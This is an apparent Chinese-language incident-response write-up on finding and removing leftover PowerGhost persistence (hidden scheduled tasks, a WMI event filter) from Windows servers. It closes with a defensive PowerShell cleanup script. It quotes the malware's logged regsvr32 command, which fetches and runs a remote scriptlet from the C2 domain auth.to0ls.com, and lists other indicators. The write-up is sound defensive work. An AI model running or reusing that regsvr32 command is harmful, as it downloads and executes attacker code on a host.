跳转至

PowerGhost

事件背景

EDR 记录多台主机频繁访问恶意域名 auth[.]to0ls[.]com,匹配 PowerGhost IoC

记录命令行:

C:\\Windows\\system32\\regsvr32.EXE /u /s /i:http://auth.to0ls.com:443/antivirus.php scrobj.dll

记录父进程命令行:

C:\\Windows\\system32\\svchost.exe -k netsvcs

查看历史告警,主机每二十分钟一次 DNS 查询,时间非常规律。但在 EDR 中没有发现计划任务,%SystemRoot%\System32\Tasks 目录下也没有对应文件。

排查过程

详细的病毒分析写在恶意软件分析 ::PowerGhost,排查工作围绕着主机受感染表现和病毒分析时确认的恶意行为进行。

这类告警出现了几个月,过往的手段是 EDR 远程查杀或者让对应人员在终端上查杀一遍。可能是因为多次查杀,本地已经找不到病毒文件,只剩下持久化任务,至少我到场的时候是这样。

登录服务器,使用 Process Monitor 监控启动 regsvr32.exe 的进程,发现每隔 20 分钟就有一次:

procmon_1

启动命令行与 EDR 记录一致:

procmon_2

事件查看器 > Windows 日志 > 应用程序和服务日志 > Microsoft > Windows > TaskScheduler 中找到 ID 102(任务完成)的事件,显示计划任务 Microsoft Assist Job 执行成功,每 20 分钟一次:

eventvwr

管理工具 > 任务计划程序 > 任务计划程序库 中没有相关计划任务,%SystemRoot%\\System32\\Tasks\ 目录下也没有相关文件,起初以为是病毒使用了计划任务隐藏手段,但后来经过分析,推测可能是历史病毒查杀处置导致的。

既然计划任务还在执行,那么说明注册表中还留有信息,Windows 7 以后计划任务注册表路径为:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree

在注册表中找到刚刚看到的计划任务 Microsoft Assist Job,以及另一个恶意计划任务 SystemFlushDns

regedit

查找 WMI 持久化:

Get-WMIObject -Namespace root\Subscription -Class __EventFilter
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
__GENUS          : 2
__CLASS          : __EventFilter
__SUPERCLASS     : __IndicationRelated
__DYNASTY        : __SystemClass
__RELPATH        : __EventFilter.Name="Systems Manage Filter"
__PROPERTY_COUNT : 6
__DERIVATION     : {__IndicationRelated, __SystemClass}
__SERVER         : COMPUTERNAME
__NAMESPACE      : ROOT\Subscription
__PATH           : \\COMPUTERNAME\ROOT\Subscription:__EventFilter.Name="Systems Manage Filter"
CreatorSID       : {1, 5, 0, 0...}
EventAccess      :
EventNamespace   : root\cimv2
Name             : Systems Manage Filter
Query            : SELECT * FROM __InstanceModificationEvent WITHIN 5601 WHERE TargetInstance ISA 'Win32_PerfFormattedD
                   ata_PerfOS_System'
QueryLanguage    : WQL
PSComputerName   : COMPUTERNAME


__GENUS                  : 2
__CLASS                  : NTEventLogEventConsumer
__SUPERCLASS             : __EventConsumer
__DYNASTY                : __SystemClass
__RELPATH                : NTEventLogEventConsumer.Name="SCM Event Log Consumer"
__PROPERTY_COUNT         : 13
__DERIVATION             : {__EventConsumer, __IndicationRelated, __SystemClass}
__SERVER                 : COMPUTERNAME
__NAMESPACE              : ROOT\Subscription
__PATH                   : \\COMPUTERNAME\ROOT\Subscription:NTEventLogEventConsumer.Name="SCM Event Log Consumer"
Category                 : 0
CreatorSID               : {1, 2, 0, 0...}
EventID                  : 0
EventType                : 1
InsertionStringTemplates : {}
MachineName              :
MaximumQueueSize         :
Name                     : SCM Event Log Consumer
NameOfRawDataProperty    :
NameOfUserSIDProperty    : sid
NumberOfInsertionStrings : 0
SourceName               : Service Control Manager
UNCServerName            :
PSComputerName           : COMPUTERNAME


__GENUS                 : 2
__CLASS                 : __FilterToConsumerBinding
__SUPERCLASS            : __IndicationRelated
__DYNASTY               : __SystemClass
__RELPATH               : __FilterToConsumerBinding.Consumer="CommandLineEventConsumer.Name=\"Systems Manage Consumer\"
                          ",Filter="__EventFilter.Name=\"Systems Manage Filter\""
__PROPERTY_COUNT        : 7
__DERIVATION            : {__IndicationRelated, __SystemClass}
__SERVER                : COMPUTERNAME
__NAMESPACE             : ROOT\Subscription
__PATH                  : \\COMPUTERNAME\ROOT\Subscription:__FilterToConsumerBinding.Consumer="CommandLineEventConsume
                          r.Name=\"Systems Manage Consumer\"",Filter="__EventFilter.Name=\"Systems Manage Filter\""
Consumer                : CommandLineEventConsumer.Name="Systems Manage Consumer"
CreatorSID              : {1, 5, 0, 0...}
DeliverSynchronously    : False
DeliveryQoS             :
Filter                  : __EventFilter.Name="Systems Manage Filter"
MaintainSecurityContext : False
SlowDownProviders       : False
PSComputerName          : COMPUTERNAME

发现持久化 WMI 过滤器 Systems Manage Filter 及其绑定,但消费者没有了。

处置方案

根据病毒行为,完整的处置方案如下:

  1. 停止并删除相关进程:
    • 终止所有可疑的 PowerShell 进程
    • 查找并终止挖矿进程
  2. 删除 WMI 持久化并重启 WMI 服务
    • 过滤器:Systems Manage Filter
    • 消费者:Systems Manage Consumer
    • 绑定:Systems Manage
    • 管理类:Window_Core_Flush_Cach
  3. 删除计划任务并重启计划任务服务
    • SystemFlushDns
    • Microsoft Assist Job
  4. 恢复 Windows Defender 设置
  5. 删除临时文件
    • $env:temp\cohernece.exe
    • $env:temp\java-log-9527.log
  6. 移除 IPsec 规则
    • netbc
  7. 恢复电源设置
  8. 阻止连接到 C2 服务器
    • auth[.]to0ls[.]com
    • mail[.]to0ls[.]com

但我这里情况特殊,只有残留计划任务和 WMI,所以我的处置方案只需要:

  • 删除计划任务注册表项,重启计划任务服务
  • 删除 WMI 持久化,重启 WMI 服务
  • hosts 里将 auth[.]to0ls[.]com 映射到 127.0.0.1

修改注册表需要权限,用了 PsExec

处置脚本如下,放在 PsExec64.exe 的同目录运行。我不是 PowerShell 高手,Claude 帮忙写的,总得来说算一个清理脚本。

PowerGhost-Cleanup.ps1
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
Write-Host "警告: 此脚本将执行以下操作:" -ForegroundColor Yellow
Write-Host " - 修改 WMI 订阅 (删除恶意绑定、消费者和过滤器)" -ForegroundColor Yellow
Write-Host " - 删除恶意计划任务及相关注册表项" -ForegroundColor Yellow
Write-Host " - 修改 hosts 文件以阻止恶意域名" -ForegroundColor Yellow
Write-Host " - 重启 WMI 服务" -ForegroundColor Yellow
Write-Host " - 重启计划任务服务" -ForegroundColor Yellow
Write-Host ""
Write-Host "这些操作可能会暂时影响系统运行,请确保在执行前已保存所有工作。" -ForegroundColor Yellow
Write-Host "建议在执行前备份系统关键组件。" -ForegroundColor Yellow
Write-Host ""

$confirmation = Read-Host "是否继续执行? (Y/N)"
if ($confirmation -ne 'Y' -and $confirmation -ne 'y') {
    Write-Host "操作已取消。" -ForegroundColor Cyan
    Exit
}

Write-Host "开始清理 PowerGhost 恶意组件..." -ForegroundColor Yellow

Write-Host "正在清理 WMI 持久化..." -ForegroundColor Cyan

$bindings = Get-WmiObject -Namespace 'root\Subscription' -Class '__FilterToConsumerBinding'
$consumers = Get-WmiObject -Namespace 'root\Subscription' -Class 'CommandLineEventConsumer'
$filters = Get-WmiObject -Namespace 'root\Subscription' -Class '__EventFilter'

$maliciousBindings = $bindings | Where-Object { $_.Filter -like '*Systems Manage Filter*' }
if ($maliciousBindings) {
    Write-Host "发现恶意绑定,正在删除..." -ForegroundColor Red
    $maliciousBindings | Remove-WmiObject
    Write-Host "已删除恶意绑定" -ForegroundColor Green
} else {
    Write-Host "未发现恶意绑定" -ForegroundColor Green
}

$maliciousConsumers = $consumers | Where-Object { $_.Name -eq 'Systems Manage Consumer' }
if ($maliciousConsumers) {
    Write-Host "发现恶意消费者,正在删除..." -ForegroundColor Red
    $maliciousConsumers | Remove-WmiObject
    Write-Host "已删除恶意消费者" -ForegroundColor Green
} else {
    Write-Host "未发现恶意消费者" -ForegroundColor Green
}

$maliciousFilters = $filters | Where-Object { $_.Name -eq 'Systems Manage Filter' }
if ($maliciousFilters) {
    Write-Host "发现恶意过滤器,正在删除..." -ForegroundColor Red
    $maliciousFilters | Remove-WmiObject
    Write-Host "已删除恶意过滤器" -ForegroundColor Green
} else {
    Write-Host "未发现恶意过滤器" -ForegroundColor Green
}

$psExecPath = ".\PsExec64.exe"
if (-not (Test-Path $psExecPath)) {
    Write-Host "未找到 PsExec64.exe,请确保它在当前目录中" -ForegroundColor Red
    Write-Host "你可以从 https://docs.microsoft.com/en-us/sysinternals/downloads/psexec 下载" -ForegroundColor Yellow
    Exit
}

Write-Host "正在使用 PsExec64 清理恶意计划任务..." -ForegroundColor Cyan

$tempScriptPath = "$env:TEMP\CleanRegistry.ps1"
@"
# 删除恶意计划任务注册表项
`$taskPaths = @(
    "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft Assist Job",
    "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\SystemFlushDns"
)

foreach (`$path in `$taskPaths) {
    if (Test-Path `$path) {
        `$taskId = (Get-ItemProperty -Path `$path -Name "Id" -ErrorAction SilentlyContinue).Id

        Remove-Item -Path `$path -Force -Recurse
        Write-Output "已删除任务: `$path"

        if (`$taskId) {
            `$taskPlainPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\`$taskId"
            `$taskTasksPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\`$taskId"

            if (Test-Path `$taskPlainPath) {
                Remove-Item -Path `$taskPlainPath -Force -Recurse
            }

            if (Test-Path `$taskTasksPath) {
                Remove-Item -Path `$taskTasksPath -Force -Recurse
            }
        }
    } else {
        Write-Output "未发现计划任务: `$path"
    }
}
"@ | Out-File -FilePath $tempScriptPath -Encoding ASCII

Write-Host "正在以 SYSTEM 权限执行计划任务清理..." -ForegroundColor Yellow
& $psExecPath -s -i powershell.exe -ExecutionPolicy Bypass -File $tempScriptPath
Write-Host "PsExec64 计划任务清理完成" -ForegroundColor Green

Remove-Item -Path $tempScriptPath -Force

Write-Host "正在阻止恶意域名..." -ForegroundColor Cyan
$hostsPath = "$env:windir\System32\drivers\etc\hosts"
$hostContent = Get-Content -Path $hostsPath
if ($hostContent -notcontains "127.0.0.1 auth.to0ls.com") {
    Add-Content -Path $hostsPath -Value "`n127.0.0.1 auth.to0ls.com" -Force
    Write-Host "已在hosts文件中阻止恶意域名" -ForegroundColor Green
} else {
    Write-Host "恶意域名已在hosts文件中被阻止" -ForegroundColor Green
}

Write-Host "正在使用 PsExec64 重启服务以应用更改..." -ForegroundColor Cyan

$tempServiceScriptPath = "$env:TEMP\RestartServices.ps1"
@"
# 重启计划任务服务
Write-Output "重启计划任务服务..."
Restart-Service -Name Schedule -Force
Write-Output "计划任务服务已重启"

Write-Output "重启 WMI 服务..."
Restart-Service -Name Winmgmt -Force
Write-Output "WMI 服务已重启"
"@ | Out-File -FilePath $tempServiceScriptPath -Encoding ASCII

Write-Host "正在以 SYSTEM 权限重启服务..." -ForegroundColor Yellow
& $psExecPath -s -i powershell.exe -ExecutionPolicy Bypass -File $tempServiceScriptPath
Write-Host "PsExec64 服务重启完成" -ForegroundColor Green

Remove-Item -Path $tempServiceScriptPath -Force

Write-Host "清理完成。" -ForegroundColor Green

参考